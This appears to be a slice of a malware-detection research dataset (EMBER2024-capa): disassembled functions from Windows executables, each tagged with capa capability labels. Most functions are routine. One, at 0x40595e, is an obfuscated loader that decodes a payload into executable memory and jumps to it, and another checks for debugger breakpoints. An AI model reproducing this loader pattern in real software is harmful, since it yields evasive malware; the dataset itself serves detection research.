joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42752d
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x37d4
call fcn.00431770
mov eax, dword [0x462700]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
push esi
push edi
mov dword [ebp - 0x37d0], ebx
mov dword [ebp - 0x37c8], ebx
push dword [ebp - 0x37c8]
lea eax, [ebp - 0x108]
push str..PhysicalDrive_d
push eax
call fcn.00428385
add esp, 0xc
push ebx
push ebx
push 3
push ebx
push 3
push ebx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x37cc], eax
cmp eax, 0xffffffff
je 0x42775b
xor eax, eax
lea edi, [ebp - 0x37c4]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov edi, 0x2710
push edi
lea eax, [ebp - 0x37b8]
push ebx
push eax
mov dword [ebp - 0x37d4], ebx
mov dword [ebp - 0x37c4], ebx
mov dword [ebp - 0x37c0], ebx
call fcn.004317b0
add esp, 0xc
push ebx
lea eax, [ebp - 0x37d4]
push eax
push edi
lea eax, [ebp - 0x37b8]
push eax
push 0xc
lea eax, [ebp - 0x37c4]
push eax
push 0x2d1400
push dword [ebp - 0x37cc]
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x427749
mov esi, 0x3e7
push esi
lea eax, [ebp - 0x4ef]
push ebx
push eax
mov byte [ebp - 0x4f0], bl
call fcn.004317b0
push esi
lea eax, [ebp - 0x8d7]
push ebx
push eax
mov byte [ebp - 0x8d8], bl
call fcn.004317b0
push esi
lea eax, [ebp - 0xcbf]
push ebx
push eax
mov byte [ebp - 0xcc0], bl
call fcn.004317b0
push esi
lea eax, [ebp - 0x10a7]
push ebx
push eax
mov byte [ebp - 0x10a8], bl
call fcn.004317b0
mov eax, dword [ebp - 0x37ac]
push ebx
lea esi, [ebp - 0xcc0]
lea ecx, [ebp - 0x37b8]
call fcn.004273e4
mov eax, dword [ebp - 0x37a8]
push ebx
lea esi, [ebp - 0x8d8]
lea ecx, [ebp - 0x37b8]
call fcn.004273e4
mov eax, dword [ebp - 0x37a4]
push ebx
lea esi, [ebp - 0x10a8]
lea ecx, [ebp - 0x37b8]
call fcn.004273e4
mov eax, dword [ebp - 0x37a0]
push 1
lea esi, [ebp - 0x4f0]
lea ecx, [ebp - 0x37b8]
call fcn.004273e4
add esp, 0x40
cmp byte [0x465cc8], bl
jne 0x427713
movsx eax, byte [ebp - 0x4f0]
push eax
call fcn.0043632b
pop ecx
test eax, eax
jne 0x4276dd
movsx eax, byte [ebp - 0x4dd]
push eax
call fcn.0043632b
pop ecx
test eax, eax
je 0x427713
lea eax, [ebp - 0x4f0]
push eax
mov esi, 0x400
push esi
push 0x465cc8
call fcn.00432a86
lea eax, [ebp - 0x8d8]
push eax
push esi
push 0x4658c8
call fcn.00432a86
add esp, 0x18
mov dword [ebp - 0x37d0], 1
push edi
lea eax, [ebp - 0x37b8]
push ebx
push eax
call fcn.004317b0
add esp, 0xc
push ebx
lea eax, [ebp - 0x37d4]
push eax
push edi
lea eax, [ebp - 0x37b8]
push eax
push ebx
push ebx
push 0x700a0
push dword [ebp - 0x37cc]
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
jmp 0x42774f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 0x37cc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [ebp - 0x37c8]
cmp dword [ebp - 0x37c8], 0x10
jl 0x427555
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x37d0]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004313d1
leave
ret
Function at 0x429560
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x462700]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, ecx
mov ecx, dword [esi + 4]
mov edx, dword [esi]
push edi
or ecx, 0x2001f
push ecx
xor ebx, ebx
push eax
push edx
lea ecx, [ebp - 0x210]
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x210], ebx
mov dword [ebp - 0x20c], ebx
mov dword [ebp - 0x208], ebx
call fcn.0040ece8
mov edi, eax
cmp edi, ebx
je 0x4295da
mov eax, dword [ebp - 0x210]
cmp eax, ebx
je 0x4295c5
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004313d1
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 0x220]
push eax
mov eax, dword [ebp - 0x210]
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x214]
push ecx
lea edx, [ebp - 0x204]
push edx
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
push eax
mov dword [ebp - 0x214], 0x100
call ebx
test eax, eax
jne 0x429658
lea ecx, [ebp - 0x204]
push ecx
lea ecx, [ebp - 0x210]
call fcn.00429560
mov edi, eax
test edi, edi
jne 0x429691
lea edx, [ebp - 0x220]
push edx
mov edx, dword [ebp - 0x210]
push eax
push eax
push eax
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 0x204]
push ecx
push edi
push edx
mov dword [ebp - 0x214], 0x100
call ebx
test eax, eax
je 0x429610
mov eax, dword [ebp - 0x210]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edi, edi
cmp eax, edi
je 0x429673
push eax
call ebx
mov dword [ebp - 0x210], edi
mov ecx, dword [esi + 8]
mov eax, dword [ebp - 0x218]
mov dword [ebp - 0x20c], edi
push eax
cmp ecx, edi
je 0x4296bb
mov edx, dword [esi]
push edx
call fcn.00428ce0
jmp 0x4296c4
mov eax, dword [ebp - 0x210]
test eax, eax
je 0x4295c5
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004313d1
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [esi]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov esi, eax
mov eax, dword [ebp - 0x210]
cmp eax, edi
je 0x4296d3
push eax
call ebx
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.004313d1
mov esp, ebp
pop ebp
ret 4
Function at 0x42b640
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x462700]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 0x40c], ecx
xor ecx, ecx
push 2
push ecx
push eax
mov dword [ebp - 0x410], ecx
mov dword [ebp - 0x408], ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x42b68f
call fcn.00428c20
mov esi, eax
jmp 0x42b736
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x42b6a8
call fcn.00428c20
jmp 0x42b72d
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
jne 0x42b6bd
call fcn.00428c20
jmp 0x42b72d
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
lea eax, [esi + 1]
cmp eax, esi
jae 0x42b6d5
mov esi, 0x8007000e
jmp 0x42b72f
push eax
lea ecx, [ebp - 0x408]
call fcn.00429e20
mov eax, dword [ebp - 0x408]
test eax, eax
jne 0x42b6f2
mov esi, 0x8007000e
jmp 0x42b72f
push esi
push eax
push esi
push ebx
push 0
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
jne 0x42b70b
call fcn.00428c20
jmp 0x42b72d
mov edx, dword [ebp - 0x408]
xor ecx, ecx
mov word [edx + eax*2], cx
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp - 0x408]
push eax
push ecx
lea ecx, [ebp - 0x410]
call fcn.0042add0
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea edx, [ebp - 0x404]
cmp dword [ebp - 0x408], edx
je 0x42b750
lea ecx, [ebp - 0x408]
call fcn.00429520
nop
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.004313d1
mov esp, ebp
pop ebp
ret 0x10
Function at 0x42d5d0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
push edi
lea eax, [ebp - 0x10]
push eax
call fcn.0042d340
mov edi, dword [ebp - 0x10]
cmp edi, dword [ebp - 0xc]
je 0x42d62c
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_OpenProcess]
push esi
jmp 0x42d600
mov eax, dword [edi]
push eax
push 0
push 1
call ebx
mov esi, eax
test esi, esi
je 0x42d61f
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add edi, 4
cmp edi, dword [ebp - 0xc]
jne 0x42d600
mov edi, dword [ebp - 0x10]
pop esi
pop ebx
test edi, edi
je 0x42d639
push edi
call fcn.00430677
add esp, 4
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x42dfd0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
mov eax, dword [0x462700]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, ecx
call fcn.0042d5d0
mov esi, dword [edi + 0x78]
cmp esi, dword [edi + 0x7c]
je 0x42e0c0
mov eax, dword [esi]
mov eax, dword [eax]
push 0
push 0
push pe_nt_image_headers32
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
test eax, eax
je 0x42e0b4
push 0x104
lea ecx, [ebp - 0x20c]
push 0
push ecx
call fcn.004317b0
mov eax, dword [esi]
mov ecx, dword [eax]
add esp, 0xc
push 0x104
lea edx, [ebp - 0x20c]
push edx
push ecx
call dword [sym.imp.USER32.dll_GetWindowTextW]
xor edx, edx
lea eax, [ebp - 0x20c]
mov word [ebp - 0x228], dx
mov dword [ebp - 0x214], 7
mov dword [ebp - 0x218], 0
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x42e067
sub eax, edx
sar eax, 1
push eax
lea eax, [ebp - 0x20c]
push eax
lea ecx, [ebp - 0x228]
call fcn.00401e15
lea ecx, [ebp - 0x228]
push ecx
call fcn.0042f1d0
mov ecx, eax
call fcn.0042eba0
cmp dword [ebp - 0x214], 8
jb 0x42e0b4
mov edx, dword [ebp - 0x228]
push edx
call fcn.00430677
add esp, 4
add esi, 4
cmp esi, dword [edi + 0x7c]
jne 0x42dff8
mov ecx, edi
call fcn.0042dc10
push 0
call fcn.00411bf0
mov eax, dword [edi + 4]
add esp, 4
push eax
call dword [sym.imp.USER32.dll_DestroyWindow]
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.004313d1
mov esp, ebp
pop ebp
ret 0x10

Function at 0x42f49c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x46451c], 0
push esi
push edi
jne 0x42f412
call fcn.0042f37e
test eax, eax
je 0x42f457
mov eax, dword [0x46451c]
cmp eax, 1
jne 0x42f433
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x42f457
jmp 0x42f499
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x42f499
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x42f45b
xor eax, eax
jmp 0x42f499
mov eax, dword [esi]
push dword [0x46451c]
call edi
mov edi, eax
test edi, edi
je 0x42f47d
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
jmp 0x42f499
lea edi, [esi + 0xff0]
push esi
push dword [0x46451c]
call dword [sym.imp.KERNEL32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x42f483
mov eax, esi
pop edi
pop esi
ret
jmp 0x42f3fe

Function at 0x4313d1
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x462700]
jne 0x4313db
repz ret
jmp fcn.004380bc
Function at 0x442b08
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x462700]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00437b62
and dword [ebp - 0x14], 0
cmp dword [0x46563c], 0
mov dword [ebp - 0x18], eax
jne 0x442bbb
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x442c63
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x442c63
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x46563c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x465640], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x465644], eax
call edi
push eax
call esi
mov dword [0x46564c], eax
test eax, eax
je 0x442bbb
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x465648], eax
mov eax, dword [0x465648]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x442c14
cmp dword [0x46564c], ecx
je 0x442c14
push eax
call esi
push dword [0x46564c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x442c14
test ebx, ebx
je 0x442c14
call edi
test eax, eax
je 0x442c0b
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x442c0b
test byte [ebp - 8], 1
jne 0x442c14
or dword [ebp + 0x10], 0x200000
jmp 0x442c47
mov eax, dword [0x465640]
cmp eax, dword [ebp - 0x18]
je 0x442c47
push eax
call esi
test eax, eax
je 0x442c47
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x442c47
mov eax, dword [0x465644]
cmp eax, dword [ebp - 0x18]
je 0x442c47
push eax
call esi
test eax, eax
je 0x442c47
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x46563c]
call esi
test eax, eax
je 0x442c63
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x442c65
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004313d1
leave
ret
Function at 0x403280
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x413d48
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push edi
mov edi, ecx
mov eax, dword [edi + 0x68]
test eax, eax
jne 0x40332a
push esi
lea ecx, [esp + 8]
call sub.MFC42.DLL_CString::CString
push 0x104
push 0x104
lea ecx, [esp + 0x10]
mov dword [esp + 0x1c], 0
call sub.MFC42.DLL_CString::GetBuffer
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0xffffffffffffffff
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::ReleaseBuffer
push str.winhlp32.exe
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::operator
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x403311
push 0x6a
push esi
call dword [sym.imp.USER32.dll_LoadCursorA]
test eax, eax
je 0x403311
push eax
call dword [sym.imp.USER32.dll_CopyIcon]
mov dword [edi + 0x68], eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [esp + 8]
mov dword [esp + 0x14], 0xffffffff
call fcn.00412f24
pop esi
mov ecx, dword [esp + 8]
pop edi
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x403340
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4033a2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x4035b0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x208
mov eax, dword [esp + 0x20c]
push ebx
push ebp
mov ebp, dword [esp + 0x218]
push esi
push edi
push ebp
push 0
push 0
push eax
push str.open
mov edi, ecx
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x4036a2
lea ecx, [esp + 0x10]
push ecx
push str..htm
push 0x80000000
mov ecx, edi
call fcn.00403340
test eax, eax
jne 0x4036a2
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x10]
push str._shellopencommand
push edx
call ebx
lea eax, [esp + 0x10]
lea ecx, [esp + 0x10]
push eax
push ecx
push 0x80000000
mov ecx, edi
call fcn.00403340
test eax, eax
jne 0x4036a2
mov edi, dword [sym.imp.MSVCRT.dll__mbsstr]
lea edx, [esp + 0x10]
push str.__1_
push edx
call edi
mov esi, eax
add esp, 8
test esi, esi
jne 0x403673
lea eax, [esp + 0x10]
push 0x4224ac
push eax
call edi
mov esi, eax
add esp, 8
test esi, esi
jne 0x403673
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0xf]
jmp 0x403676
mov byte [esi], 0
push 0x4220a8
push esi
call ebx
mov edx, dword [esp + 0x21c]
push edx
push esi
call ebx
lea eax, [esp + 0x10]
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x208
ret 8
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x208
ret 8

Function at 0x4046a0
Capabilities:
Check for software breakpoints

Disassembly:
cmp dword [esp + 8], 0x990
jge 0x4046ae
xor ax, ax
ret
push ebx
xor bl, bl
push esi
mov esi, dword [esp + 0xc]
mov byte [esp + 0x10], bl
mov eax, dword [esp + 0x10]
and eax, 0xff
lea ecx, [eax + esi]
mov al, byte [eax + esi]
cmp al, 0x47
jne 0x4046ff
xor eax, eax
mov edx, ecx
cmp byte [edx], 0x47
jne 0x4046e2
inc eax
add edx, 0xbc
cmp eax, 0xa
jl 0x4046d1
cmp eax, 0xa
je 0x40470c
xor eax, eax
cmp byte [ecx], 0x47
jne 0x4046fa
inc eax
add ecx, 0xcc
cmp eax, 0xa
jl 0x4046e9
cmp eax, 0xa
je 0x404713
inc bl
cmp bl, 0xcc
mov byte [esp + 0x10], bl
jb 0x4046ba
jmp 0x404718
mov byte [esp + 0xc], 0xbc
jmp 0x404718
mov byte [esp + 0xc], 0xcc
pop esi
cmp bl, 0xcc
pop ebx
jne 0x404723
xor ax, ax
ret
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
and eax, 0xff
and ecx, 0xff
shl eax, 8
add eax, ecx
ret
Function at 0x40bf60
Capabilities:
Get geographical location

Disassembly:
mov eax, 0x101c
call fcn.004135f0
push ebx
push ebp
push esi
mov esi, dword [esp + 0x102c]
xor eax, eax
push edi
mov al, byte [esi + 1]
push 0
mov edi, eax
shr edi, 2
mov dword [esp + 0x24], edi
call fcn.004113e0
push edi
push str.number_of_countries:__d
lea ecx, [esp + 0x34]
mov ebx, eax
push 0x1000
push ecx
mov dword [esp + 0x30], ebx
call dword [sym.imp.MSVCRT.dll__snprintf]
lea edx, [esp + 0x3c]
push edx
call dword [sym.imp.MSVCRT.dll__strdup]
mov dword [ebx + 0x14], eax
mov eax, dword [esp + 0x104c]
push ebx
push eax
call fcn.004114b0
add esp, 0x20
add esi, 2
xor ebp, ebp
test edi, edi
jle 0x40c12a
jmp 0x40bfd8
mov ebx, dword [esp + 0x1c]
push 0
call fcn.004113e0
push ebp
push str.index:__d
lea ecx, [esp + 0x34]
push 0x1000
push ecx
mov edi, eax
call dword [sym.imp.MSVCRT.dll__snprintf]
lea edx, [esp + 0x3c]
push edx
call dword [sym.imp.MSVCRT.dll__strdup]
push edi
push ebx
mov dword [edi + 0x14], eax
call fcn.004114b0
push 0
call fcn.004113e0
mov dword [esp + 0x48], eax
mov al, byte [esi + 2]
add esp, 0x24
cmp al, 0x20
jb 0x40c033
cmp al, 0x7e
ja 0x40c033
mov ecx, eax
and ecx, 0xff
mov dword [esp + 0x14], ecx
jmp 0x40c03b
mov dword [esp + 0x14], 0x2e
mov dl, byte [esi + 1]
cmp dl, 0x20
jb 0x40c056
cmp dl, 0x7e
ja 0x40c056
mov ecx, edx
and ecx, 0xff
mov dword [esp + 0x10], ecx
jmp 0x40c05e
mov dword [esp + 0x10], 0x2e
mov cl, byte [esi]
cmp cl, 0x20
jb 0x40c078
cmp cl, 0x7e
ja 0x40c078
mov ebx, ecx
and ebx, 0xff
mov dword [esp + 0x18], ebx
jmp 0x40c080
mov dword [esp + 0x18], 0x2e
mov ebx, dword [esp + 0x14]
and eax, 0xff
push ebx
mov ebx, dword [esp + 0x14]
push ebx
mov ebx, dword [esp + 0x20]
push ebx
and edx, 0xff
push eax
and ecx, 0xff
push edx
push ecx
push str.country_code:_0x_02x_02x_02x_____c_c_c_
lea eax, [esp + 0x44]
push 0x1000
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
lea ecx, [esp + 0x4c]
push ecx
call dword [sym.imp.MSVCRT.dll__strdup]
mov ecx, dword [esp + 0x4c]
push ecx
push edi
mov dword [ecx + 0x14], eax
call fcn.004114b0
push 0
call fcn.004113e0
mov dl, byte [esi + 3]
mov ebx, eax
push edx
call fcn.00411110
push eax
xor eax, eax
mov al, byte [esi + 3]
lea ecx, [esp + 0x64]
push eax
push str.rating:_0x_02x____s
push 0x1000
push ecx
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x4c
lea edx, [esp + 0x28]
push edx
call dword [sym.imp.MSVCRT.dll__strdup]
push ebx
push edi
mov dword [ebx + 0x14], eax
call fcn.004114b0
mov eax, dword [esp + 0x2c]
add esp, 0xc
add esi, 4
inc ebp
cmp ebp, eax
jl 0x40bfd4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x101c
ret
Function at 0x40da30
Capabilities:
Create directory

Disassembly:
sub esp, 0x104
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x118]
test edi, edi
je 0x40db96
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x10]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x10]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 3
jl 0x40db96
mov al, byte [esp + 0x10]
cmp al, 0x41
jl 0x40da8d
cmp al, 0x5a
jle 0x40da9d
cmp al, 0x61
jl 0x40db96
cmp al, 0x7a
jg 0x40db96
cmp byte [esp + 0x11], 0x3a
jne 0x40db96
cmp byte [esp + 0x12], 0x5c
jne 0x40db96
cmp ecx, 3
jne 0x40daf4
mov eax, dword [esp + 0x11c]
test eax, eax
jne 0x40dae7
lea ecx, [esp + 0x10]
push 0
push ecx
call dword [sym.imp.MSVCRT.dll__access]
add esp, 8
test eax, eax
je 0x40dae7
pop edi
pop esi
pop ebp
mov eax, 2
pop ebx
add esp, 0x104
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x104
ret
mov al, byte [esp + 0x13]
mov esi, 3
test al, al
mov edi, 1
je 0x40db84
mov ebx, dword [sym.imp.MSVCRT.dll__access]
mov ebp, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [esp + esi + 0x10]
mov ecx, eax
mov al, byte [eax]
test al, al
je 0x40db2b
cmp al, 0x5c
je 0x40db2b
mov al, byte [esp + esi + 0x11]
inc esi
test al, al
jne 0x40db1e
mov al, byte [esp + esi + 0x10]
xor edx, edx
test al, al
sete dl
push ecx
mov edi, edx
mov byte [esp + esi + 0x14], 0
call fcn.0040d800
add esp, 4
test eax, eax
je 0x40db96
mov eax, dword [esp + 0x11c]
test eax, eax
jne 0x40db72
lea eax, [esp + 0x10]
push 0
push eax
call ebp
lea ecx, [esp + 0x10]
push 0
push ecx
call ebx
add esp, 8
test eax, eax
jne 0x40dad7
test edi, edi
jne 0x40db84
mov byte [esp + esi + 0x10], 0x5c
mov al, byte [esp + esi + 0x11]
inc esi
test al, al
jne 0x40db12
xor eax, eax
test edi, edi
pop edi
pop esi
pop ebp
pop ebx
sete al
add esp, 0x104
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x104
ret
Function at 0x40595e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x40596d
pop dword [ebp - 0x38]
mov eax, 0x9d5fe5ca
add eax, 0x62e073a3
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x4e81b853
add dword [ebp - 0x48], 0xffd08cf8
mov dword [ebp - 0x44], 0xc9bbadf9
add dword [ebp - 0x44], 0x68779e4c
mov dword [ebp - 0x40], 0xeaefd03b
add dword [ebp - 0x40], 0x615c73f3
mov dword [ebp - 0x3c], 0x16829cb6
add dword [ebp - 0x3c], 0xe97d634a
lea eax, [ebp - 0x48]
push eax
mov eax, 0xc7f9a109
add eax, 0x3846cf57
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0xcdb8566d
add dword [ebp - 0x48], 0xa6ba12e9
mov dword [ebp - 0x44], 0x3c046223
add dword [ebp - 0x44], 0x567ff52
mov dword [ebp - 0x40], 0xd90f40f4
add dword [ebp - 0x40], 0x8a602b78
mov dword [ebp - 0x3c], 0xc83206b4
sub dword [ebp - 0x3c], 0xc83206b4
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0xdc23c34
add eax, 0xf27e34cc
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x342d7
push 0
call eax
mov ecx, 0x8eec9ba3
sub ecx, 0x8eec5dcb
xor edx, edx
add edx, eax
mov ebx, 0x8246eaca
sub ebx, 0x8205eaca
add ebx, dword [ebp - 0x38]
mov esi, 0x5b24210a
sub esi, 0x119d7602
xor dword [ebp - 0x30], esi
mov edi, dword [ebx]
xor dword [ebp - 0x2c], 0x8bfc7a0c
sub edi, esi
add dword [ebp - 0x14], edi
mov dword [edx], edi
add dword [ebp - 0x2c], eax
add edx, 0x7a43e92b
add edx, 0x85bc16d9
add ebx, 0xcc17b939
add ebx, 0x33e846cb
loop 0x405a91
add eax, 0xea33
xor ebx, ebx
add ebx, eax
add eax, 0x1c60cf01
add eax, 0xe39f3104
mov ecx, 0x400000
add ecx, dword [ebp - 0x38]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941